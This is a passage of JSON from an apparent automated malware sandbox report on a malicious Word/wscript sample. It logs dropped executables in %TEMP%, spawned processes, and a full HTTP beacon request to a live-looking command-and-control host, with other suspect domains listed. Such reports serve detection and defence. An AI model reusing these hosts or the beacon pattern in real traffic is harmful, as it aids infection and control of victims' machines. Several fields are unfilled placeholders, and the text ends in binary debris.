pathways","description":"\"C:\\php-sdk\\php56\\vc11\\x86\\obj\\Release\\php.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"wscript.exe\" created file \"%TEMP%\\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.doc\"\n \"wscript.exe\" created file \"%TEMP%\\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP2.exe\"\n \"wscript.exe\" created file \"%TEMP%\\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe\"\n \"wscript.exe\" created file \"%TEMP%\\php5.dll\"\n \"wscript.exe\" created file \"%TEMP%\\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.php\"\n \"WINWORD.EXE\" created file \"%TEMP%\\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.doc\"\n \"WINWORD.EXE\" created file \"%TEMP%\\~$eZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.doc\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_191\"\n \"Local\\!IETld!Mutex\"\n \"IESQMMUTEX_0_191\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\c:!users!4n7g62t!appdata!roaming!microsoft!windows!cookies!\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"IESQMMUTEX_0_208\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\c:!users!4n7g62t!appdata!local!microsoft!windows!history!history.ie5!\"\n \"Local\\ZonesCounterMutex\"\n \"RasPbFile\"\n \"Local\\_!MSFTHISTORY!_\"\n \"Local\\WininetStartupMutex\"\n \"Local\\c:!users!4n7g62t!appdata!roaming!microsoft!windows!ietldcache!\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\c:!users!4n7g62t!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!4n7g62t!appdata!roaming!microsoft!windows!cookies!\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe\" as clean (type is \"PE32 executable (console) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 6BA10000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\d40b99d82652dbbc000d378a824ae296\\mscorlib.ni.dll\" at 67C30000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"$2a","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Parsed Javascript","description":"$2b","origin":"Static Parser","relevance":5,"id":"static-25","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$2c","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"regsvr32.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\"\n \"WINWORD.EXE\" searching for class \"REListbox20W\"\n \"WINWORD.EXE\" searching for class \"OfficeTooltip\"\n \"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"\n \"WINWORD.EXE\" searching for class \"mspim_wnd32\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Script failed to issue a HTTP request","description":"\"wscript.exe\" failed a HTTP request with the response code \"403\"\n \"wscript.exe\" failed a HTTP request with the response code \"404\"","origin":"API Call","relevance":10,"id":"api-81","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2d","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /counter/?0000001FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP01306600MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiLjfVHA1Pd9tdUIRKiSeBGW+zu30Qs8s9KPhq0JniiaLrR6n/YGDI7Jb73v4+149b9OrDb0pRDtEDFt5BAnvuFB12CeV8lsKQ8a0VsW5Ha8GsAxytydEVC40oKoS+4xav90Y4K/JsAgbwdnY9YwKJaGuSsoerYkkNHeYi9dhS0qTmtmkqBTIFBPCe0Gf3kbiAdVWSCSvDba85jRRz+9BcTyIZ5lpkF9GODuLTGdYZmCpSRvLPxEkLJKfpxabndqYyqXz4JxaB72KV7mX+w70iJiKk9qpkK7qb2aaGl8k1vq1rIHg9jgS2LC3aghfIJAudtCx9pJH2bdzmNiLD+WCHQIDAQABrRQH8RMrgFyI5akANNOeeDy9ZA_px0t-ZHRytWkQ4Ral4h7_QaMMTkAw3WK9LYVq6oVQ49BrbXDzwh5k2 HTTP/1.1\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nHost: amis-spb.ru\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"wscript.exe\" is creating a new process (Name: \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00004109210000000000000000F01FEC\\Usage\", Handle: 1268)\n \"wscript.exe\" is creating a new process (Name: \"%TEMP%\\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP2.exe\", Handle: 1128)\n \"wscript.exe\" is creating a new process (Name: \"%TEMP%\\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe\", Handle: 1360)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$2e","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2f","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://+gerlk+'/'+greezno()+'?'+zemk\"\n Pattern match: \"http://%s\"\n Pattern match: \"http://www.php.net\"\n Heuristic match: \"goldwingclub.ru\"\n Heuristic match: \"amis-spb.ru\"\n Heuristic match: \"elita5.md\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"595345927ca3e13f487c17f2"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"M4MEyn)PM.=V;326]40\"0*H0Tp5=muB*$e}=(jG``5:C@@]y_%